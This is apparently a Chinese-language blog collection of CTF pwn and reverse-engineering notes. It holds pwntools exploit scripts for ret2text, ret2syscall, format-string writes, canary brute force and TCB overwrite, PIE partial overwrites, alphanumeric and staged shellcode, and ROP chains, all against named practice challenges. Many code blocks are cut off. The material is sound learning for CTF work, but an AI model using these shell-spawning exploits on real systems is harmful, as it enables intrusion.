关键词眼:mov rsi, rax;说明scanf也可以调用system
exp
1
2
3
4
5
6
7
8
9
10
11
12from pwn import *
context(arch='amd64',os='linux',log_level='debug')
elf = ELF('./pwn125')
#r = process('./pwn125')
r = remote("pwn.challenge.ctf.show",xxxxx)
call_system = 0x400672
#0x2000为偏移量
payload = b'/bin/sh\x00' + cyclic(0x2000) + p64(call_system)
r.sendline(payload)
r.interactive()
sandbox绕过
sandbox_orw
sandbox一般就是禁用了execve函数使我们没办法直接通过system(/bin/sh\x00)来getshell。如果会出现prctl,seccomp的话很可能就要用orw进行绕过。就是利用open,read,write(orw)。
首先用seccomp-tools查看沙箱
1 | sudo apt install gcc ruby-dev |
shellcode绕过
x32
汇编代码
1 | #0x67616c66根据文件名改动 |
利用pwntools
1 | payload = shellcraft.i386.open('flag.txt') |
x64
汇编代码
1 | shellcode=f""" |
pwn各类题型总结
- 栈溢出
- 格式化字符串
- canary
- PIE绕过
- 爆破pie
- [格式化字符串泄露pie和partial write](#格式化字符串泄露pie和partial write)
- 利用vsyscall地址不变
栈溢出
ret2text
见我的另一篇文章
ret2shellcode
见我的另一篇文章
ret2libc
见我的另一篇文章
ret2syscall
见我的另一篇文章,完全是学长写的,我是勤劳的搬运工
格式化字符串
%n篡改固定地址的变量
见我的另一篇文章(x_32)
x64位————与32的区别
首先我们要补一个b来确定偏移量
例如我们32位是
1
aaaa %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p
而64位是
1
baaaa %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p
由于64位传参,肯定存在被/x00截断的情况,所以我们需要动调一下,其实我们也可以多试几下,假设我们我们泄露出来的是8,真实的也许就是7,9,10等。
动调挺简单我就覆两个图片
先是一下直接泄露的8

换成9,还要加上补位AAA

也许达到这种效果才行吧。
这里直接给模板了
1
2
3
4
5
6
7
8
9
10from pwn import *
context.log_level='debug'
r = remote("node5.buuoj.cn",25959)
#r = process("./mrctf2020_easy_equation")
judge = 0x060105C
payload = b"BB%9$nAAA"+p64(judge) #偏移量这里是9,具体根据实际情况。BB是因为judge要修改成2。#AAA是用来补位的
r.sendline(payload)
r.interactive()
%n篡改printf_got指向system
例题ctfshow pwn95
1 | from pwn import * |
例题 buuctf axb_2019_fmt32
exp
1 | from pwn import * |
canary
爆破
这里有一个模拟canary爆破
模板
1 | from pwn import * |
SSP泄露Canary
ctfshow pwn117
这里主要记录怎么算偏移即buf和__libc_argv[0]的偏移
脚本除了偏移的计算其他都好理解
1 | from pwn import * |
计算过程先
1 | cyclic 100 |
再进行gdb调试先输入cyclic的结果,再通过如下两种方式计算参考



理论上应该是520才对,504可能是本题有点问题。
覆盖截断字符获取Canary
1 | unsigned int ctfshow() |
1 | int backdoor() |
exp
1 | from pwn import * |
格式化字符串劫持__stack_chk_fail指针
1 | from pwn import * |
canary,格式化字符串
见另一篇文章
覆盖TCB来实现对canary的绕过
还是没搞懂,等搞懂了再来写,先留个模板–来自佬的blog。
1 | from pwn import * |
ctfshow pwn89
1 | int __fastcall main(int argc, const char **argv, const char **envp) |
1 | void *__fastcall start(void *a1) |
关键为什么能绕过 canary
正常情况下栈保护是:stack_copy_on_stack vs stack_guard_in_TCB (fs:0x28) 比较。此处能绕过的关键链条:
- 程序在新线程的栈顶附近放了 TCB,
stack_guard在那个附近可被写到(实现细节见 glibc 分配策略)。 - 读入的数据长度远大于本地 buffer(允许写穿 buffer 到栈顶区域)。
- 溢出写同时 覆盖了栈上的 canary 副本(stack copy)与 TCB 中的主 canary,把它们都改成攻击者任意的值 → 因为校验比较的两端都被同步改写,于是检查通过。
- 同一次写还能把 saved rbp/ret 等覆盖为攻击者需要的值,从而做 ROP、leak、写二阶段并 pivot 到
.bss。
换言之:不是“绕过检测逻辑本身”的巧妙 trick,而是“把检测所依赖的参考值(主 canary)用一次大写覆盖成期望值”,从而让检查失效。
1 | from pwn import * |
p64(pop_rdi_ret) + p64(0)
设置 rdi = 0(stdin 文件描述符)为接下来 read 的第一个参数(fd = 0)。
p64(pop_rsi_r15_ret) + p64(bss_addr) + p64(0)
gadget 做 pop rsi; pop r15; ret:它把 bss_addr 赋给 rsi(第二个参数),并把 0 弹到 r15(只是占位/对齐,r15 在这里不被 read 使用)。
puts泄露canary
见我的另一篇文章和覆盖截断字符获取Canary类似
PIE绕过
爆破pie
模板
1 | from pwn import * |
格式化字符串泄露pie和partial write
推荐个佬的博客(格式化和32位pw)
佬的博客2(64位pw)
64位模板
1 | #!/usr/bin/python3 |
覆盖返回地址的后两个字节转跳到后门函数
1 | ssize_t sub_120E() |
先找到需要转跳的地址

这里是0x126c只要把返回地址后两字节覆盖成0x6c即可
exp:
1 | from pwn import * |
这里再记录一个canary和pie结合的题目
1 | __int64 __fastcall main(int a1, char **a2, char **a3) |
1 | unsigned __int64 sub_132F() |
canary用格式化字符串泄露,然后再利用栈溢出来getshell
exp:
1 | from pwn import * |
注释:19泄露的是返回地址,17泄露的是canary的地址
17怎么计算参考上面的格式化字符串泄露canary,canary和返回地址正好相差两个0x08。所以ret_addr的地址是19处。
0x146f和0x122e
1 | .text:00000000000013F9 ; __unwind { |
1 | .text:0000000000001229 ; __unwind { |
利用vsyscall地址不变
记录一下有这个方式,到时候了解了在写
ret2syscall
PWN中栈溢出的部分简单题型
Ret2text
这类题型里:
1、存在能够覆盖返回地址的栈溢出
2、程序代码中直接存在类似于**system(“bin/sh”)**能够直接获取程序控制权的代码。
1 | 这段代码向系统申请一个sh的用户shell,可以获得当前交互主机的控制权bash |
造成栈溢出的最常见的情形:
1、gets(),由于gets()函数不限制读入的长度,所以一般看到程序中出现了gets()读取用户输入的情况,大概率是存在栈溢出的。
2、限制长度读入函数,规定读入的长度大于变量与rbp/ebp之间的距离,例如下图:

虽然read(0,buf,0x32uLL)限制了向buf内读入的长度为0x32,但是buf与rbp之间的距离只有0xA,就存在0x32-0xA=0x28的长度是可以溢出的。
例题1:
CTFshow - pwn38
64位ret2text
pwn基本解题流程:
1、checksec检查程序基本信息:
2、为程序添加可执行权:
chmod +x pwn
3、IDA反编译分析程序结构。
4、gdb动态分析、调试。
5、编写攻击脚本exp。
checksec查看程序基本信息:

IDA反编译分析:
主函数:
存在0x32-0xA = 0x28长度的栈溢出。

后门函数:
存在system(“/bin/sh”)

gdb调试:
在这道题中:
0x7fffffffdc00是buf的起始地址,大小为0xA,rbp是buf+0xA 也就是图中的0x7fffffffdc10,而紧跟着rbp后面的就是函数的返回地址,ret address,我们只需要通过栈溢出将ret address改写成我们想要让程序返回的地方即可达到攻击的目的。

编写攻击脚本exp:
1 | from pwn import * |
例题2:
CTFshow——pwn37
32位ret2text
与64位原理一样,要修改成32位的格式:

exp:
1 | from pwn import * |
不同点在于p32()以及ebp的长度由8变为4。
ret2syscall
x32
ctfshow pwn入门 pwn71
栈溢出

静态编译,可以通过ret2syscall
我们可以利用程序中的 gadgets 来获得shell,而对应的 shell 获取则是利用系统调用。
简单地说,只要我们把对应获取 shell 的系统调用的参数放到对应的寄存器中,那么我们在执行 int0x80 就可执行对应的系统调用。比如说这里我们利用如下系统调用来获取 shel
1 | execve("/bin/sh",NULL,NULL) |
1 | 其中,该程序是 32 位,所以我们需要使得 |
我们需要pop eax ret,pop ebx ret ,pop ecx ret ,pop edx ret
/bin/sh的地址:


这个可以利用

还有int 0x80

在ida中的偏移有问题,要在gdb中动调算:

exp:
1 | from pwn import* |
x32-2
ctfshow Pwn入门 pwn72
32位ret2syscall,没有/bin/sh,利用read读入
计算偏移,这里ida的偏移又是错的,应该是0x28

和之前一样,不同的地方是这次没有了/bin/sh


在ida里面找到了read函数,可以利用read读入/bin/sh到bss段的一个地址,之后再ret2syscall时用这个地址即可
1 | read(): |
那么我们可以构造调用read的rop
1 | pop eax 0x3 ret #32位下read系统调用号 |
这题写入地址就随便选一个bss段上就行0x080EB000,读入长度,”/bin/sh\x00”,不少于这个就行
之后再进行execve(“/bin/sh”,NULL,NULL)的调用
1 | 其中,该程序是 32 位,所以我们需要使得 |
这题不知道为什么ROPgadget找到的int 80h用不了,用的是ida这里的
ROPgadget找到的这个用不了

ida里面的这个可以用

exp:
1 | from pwn import* |
x64
ctfshow pwn入门 pwn78
没有canary没有pie

溢出函数

和32位类似,只是放参数的寄存器和调用号什么的变了,64位传参顺序是rdi > rsi > rdx > rcx > r8 > r9 > 栈上
这题先调用read读入/bin/sh到bss段,再调用system(/bin/sh)
1 | 调用read: |
1 | 调用execve("/bin/sh",NULL,NULL): |
在实际利用中可以省略syscall,因为使用了pwntools库的remote函数时,它会自动处理系统调用,因此你不需要手动添加syscall指令。当你发送payload时,pwntools会在内部自动构造ROP链,并执行syscall指令以触发系统调用。因此,即使没有明确写出syscall指令,read和execve系统调用仍然会被正确地触发。但是这题不知道为什么还是要加syscall 。
syscall ret地址:

首先利用ROPgadget找到能利用的rop指令
1 | ROPgadget --binary pwn --only "pop|ret" |
首先是 pop rax ret

然后是pop rdi ret

再是rsi和rdx,可以找到两个一起的

还需要一个单独的ret,需要在read调用完之后ret再调用下一个函数execve

再找一个bss段的地址用于存放/bin/sh

exp:
1 | from pwn import * |
例题
newstar2025 syscall
简单的ret2syscall
构造rop链, read(0, bss, 0x10),execve(“/bin/sh”, NULL, NULL)
寄存器用ROPgadget找,int_80要在IDA中手动找。
1 | from pwn import * |
pwn(部分shellcode总结)
这里的shellcode的题目都是利用栈溢出了
shellcode的获取方法:
- 利用pwntools的shellcraft模块
- 网上查询
- 直接写入shellcode
- 在bss段写入shellcode
- pwntools的shellcode长度过长利用网上找的shellcode
- shellcode是需要由大小写字母及数字构成
- shellcode开头为
\x00 - 手动写shellcode
- 手写open,read,write的shellcode
直接写入shellcode
1.32位
1 | from pwn import * |
1.64位
1 | from pwn import * |
在bss段写入shellcode
2.32位
1 | from pwn import * |
2.64位
1 | from pwn import * |
pwntools的shellcode长度过长利用网上找的shellcode
例题ctfshow pwn61,这里还有注意有个leave不能直接在栈上写入shellcode,shellcode要放在v5之后即要放在v5首地址的24+8字节后
1 | from pwn import * |
当64位比22位还小
newstar2025 input_small_function
1 | int __fastcall main(int argc, const char **argv, const char **envp) |
1 | .text:00000000000011F0 ; __int64 clear() |
clear是关键
我们只要把shellcode的xor rsi, rsi删去转字节码
1 | xor rsi, rsi |
exp
1 | from pwn import * |
Aristore大佬的方法
先发送一段极小的 “加载器” shellcode(stager),它必须小于等于20字节。这个 stager 的功能是再次调用 read 系统调用,从标准输入读取一段更长的 shellcode 到 0x114514 这个地址。
1 | # -*- coding: utf-8 -*- |
shellcode是需要由大小写字母及数字构成
先要下载alpha3;
1 | git clone https://github.com/TaQini/alpha3.git |
应为github很不稳定所以这里推荐两种方法
- 科学上网(其实是不文明上网),自己理解

- 用bgithub.xyz替换github.com
然后再利用pwntools生成一个shellcode
1
2
3
4
5from pwn import *
context.arch='amd64'
sc = asm(shellcraft.sh())
with open('sc', 'bw') as f:
f.write(sc)
将上述代码保存成sc.py放到alpha3目录下,然后执行如下命令生成待编码的shellcode文件
1 | cd alpha3 |
使用alpha3生成string.printable (这里得用 python2)
1 | python2 ./ALPHA3.py x64 ascii mixedcase rax --input="sc" |
1 | from pwn import * |
shellcode开头为\x00
用脚本找
1 | from pwn import * |
exp模板
1 | from pwn import * |
手动写shellcode
先学习一下怎么写入shellcode
x64
1 | mov rax, 0x68732f6e69622f; |
1 | xor rax,rax |
x32
1 | xor ecx,ecx |
手写open,read,write的shellcode
这个就是sandbox见我的另一篇文章
pwn54(模拟canary)
先用IDA打开发现有canary函数

为什么要比较呢;应为如果我们利用栈溢出改了s1的部分,到了比较的部分就会退出程序。

可以看到我们可以利用这个判断爆破出canary,找到canary后利用栈溢出执行flag函数就可以了
python from pwn import * from LibcSearcher import * #context.log_level = 'debug' #context(os='linux', arch='i386', log_level='debug') canary=b'' for i in range(4): for j in range(0x1000): r=remote("pwn.challenge.ctf.show", 28145) flag=0x08048696 r.sendlineafter("How many bytes do you want to write to the buffer?\n>",'999') r.recv() payload1=b"I"*(0x20)+canary+p8(j)#+b"a"*16+p32(flag)#+p32(0)+p32(876)+p32(877)#+p32(system) r.send(payload1) a=r.recv() if b'Canary Value Incorrect!' not in a: #不输出这个字符串代表该字符匹配成功 canary+=p8(j) #将匹配字节加入到后面(canary j 的顺序) print(canary) break else: print("gg") r.close() r = remote("pwn.challenge.ctf.show",28145) flag=0x08048696 r.sendlineafter("How many bytes do you want to write to the buffer?\n>",'999') print(canary) payload1=b"I"*(0x20)+canary+b"a"*16+p32(flag) r.recvuntil("$") r.send(payload1) r.recv() r.interactive()

pwn54(简单但是挺重要的)
- 用IDA打开

所以我们只要256全部覆满就可以直接把password直接泄出来。


pwn49(静态编译-mprotect函数)
- 首先可以了解mprotect函数,这有佬的文章,可以先看一下
- 静态文件基本都有mprotect函数
- 我们们的思路基本就是,利用mprotect函数修改某段的权限,然后将shellcode写入这段
开始写wp
先用IDA打开有mprotect函数
用一下命令查看
1 | file xxxx #查看是否是静态文件 |

圈出部分显示是静态文件
我们先用mprotect函数修改一段的权限(就选got表)
1
readelf -S pwn

可以看到got的起始地址是0x80da000,先构造mprotect的payload
查看mprotect函数的地址

用ROPgadget来找pop ret
1 | ROPgadget --binary pwn --only “pop|ret” | grep "pop" |

mprotect的第一个参数是需要修改内存的地址,第二个参数是内存空间的大小,第三是需要赋予的权限,再将mprotect的返回地址设置为read的地址,用来读取shellcode
1 | payload = (0x12 + 0x04) * b'a' |
再找read的地址,0x806BEE0,read第一个参数是一随便写点就可以,参数二就是我们的shellcode,参数三是读取的大小
1 | payload = (0x12 + 0x04) * b'a' |
完整exp
1 | from pwn import * |
cmcc_simplerop
写这题的目的
当IDA显示的偏移错误,怎么动态调试
用ROP构造的rop链过长,怎么简化
这题主要写这两个问题,其余的与BUUCTF_inndy_rop(rop链)差不多
动态调试找到正确的偏移
先用cyclic生成200(数目不固定)字母

再动态调试





可以得到偏移是32
化简ROP链
1
ROPgadget --binary rop --ropchain
还是用这个工具生成ROP链
然后参考佬的博客进行修改
原本是1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34p += pack('<I', 0x0806e82a) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080bae06) # pop eax ; ret
p += b'/bin'
p += pack('<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806e82a) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080bae06) # pop eax ; ret
p += b'//sh'
p += pack('<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806e82a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08054250) # xor eax, eax ; ret
p += pack('<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x0806e851) # pop ecx ; pop ebx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080ea060) # padding without overwrite ebx
p += pack('<I', 0x0806e82a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08054250) # xor eax, eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x080493e1) # int 0x80- 我们可以用ROPgadget命令查找可以修改ebx,edx,ecx寄存器的gadget

- 我们可以用ROPgadget命令查找可以修改ebx,edx,ecx寄存器的gadget
化简1:
p += pack('<I', 0x0806e82a) # pop edx ; ret p += pack('<I', 0x080ea060) # @ .data p += pack('<I', 0x080bae06) # pop eax ; ret p += b'/bin' p += pack('<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x0806e82a) # pop edx ; ret p += pack('<I', 0x080ea064) # @ .data + 4 p += pack('<I', 0x080bae06) # pop eax ; ret p += b'//sh' p += pack('<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x0806e850) # pop edx ; pop ecx ; pop ebx ; ret p += p32(0)+p32(0)+p32(0x080ea060) p += pack('<I', 0x080ea060) # padding without overwrite ebx p += pack('<I', 0x080ea068) # @ .data + 8 p += pack('<I', 0x08054250) # xor eax, eax ; ret p += pack('<I', 0x0807b27f) # inc eax ; ret p += pack('<I', 0x0807b27f) # inc eax ; ret p += pack('<I', 0x0807b27f) # inc eax ; ret p += pack('<I', 0x0807b27f) # inc eax ; ret p += pack('<I', 0x0807b27f) # inc eax ; ret p += pack('<I', 0x0807b27f) # inc eax ; ret p += pack('<I', 0x0807b27f) # inc eax ; ret p += pack('<I', 0x0807b27f) # inc eax ; ret p += pack('<I', 0x0807b27f) # inc eax ; ret p += pack('<I', 0x0807b27f) # inc eax ; ret p += pack('<I', 0x0807b27f) # inc eax ; ret p += pack('<I', 0x080493e1) # int 0x80
- p += pack(‘<I’, 0x0807b27f) # inc eax ; ret一直在重复,我们可以利用pop eax,ret 实现设置eax的值为11(0xB)
化简2:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16p += pack('<I', 0x0806e82a) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080bae06) # pop eax ; ret
p += b'/bin'
p += pack('<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806e82a) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080bae06) # pop eax ; ret
p += b'//sh'
p += pack('<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806e850) # pop edx ; pop ecx ; pop ebx ; ret
p += p32(0)+p32(0)+p32(0x080ea060)
p += pack('<I', 0x080ea060) # padding without overwrite ebx
p += pack('<I', 0x080bae06) # pop eax ; ret
p += p32(0xb)
p += pack('<I', 0x080493e1) # int 0x80
re部分解题信息(持续更新)
一
unity游戏的核心逻辑一般位于assets\bin\Data\Managed\Assembly-CSharp.dll
二
strcpy(Destination, Source);
strcpy(x, Source);
栈溢出的类型,先用x找到溢出的地址
三
UnDecorateSymbolName()函数:
该函数第一个参数为输出地址、第二个参数为未修饰的名字、第三个参数为长度、第四个参数为0表示完全修饰;
以下所有资料摘自:https://blog.csdn.net/liweigao01/article/details/78351464
资料一:
无论 __cdecl,__fastcall还是__stdcall调用方式,函数修饰都是以一个“?”開始,后面紧跟函数的名字。
再后面是參数表的開始标识和 依照參数类型代号拼出的參数表。
资料二:
对于C++的类成员函数(其调用方式是thiscall)。
函数的名字修饰与非成员的C++函数稍有不同,首先就是在函数名字和參数表之间插入以“@”字 符引导的类名。
资料三:
其次是參数表的開始标识不同,公有(public)成员函数的标识是“@@QAE”,保护(protected)成员函数的标识是 “@@IAE”,私有(private)成员函数的标识是“@@AAE”,
假设函数声明使用了constkeyword,则对应的标识应分别为 “@@QBE”,“@@IBE”和“@@ABE”。
资料四:
參数表的拼写代号例如以下所看到的:
X–void
D–char
E–unsigned char
F–short
H–int
I–unsigned int
J–long
K–unsigned long(DWORD)
M–float
N–double
_N–bool
U–struct
….
指针的方式有些特别。用PA表示指针,用PB表示const类型的指针。
四
dword 是双字,4个才是一个数据,所以当你用IDA时要用,initialized C variable。
五
.d文件是一种D语言的源码,flag有可能就在d文件里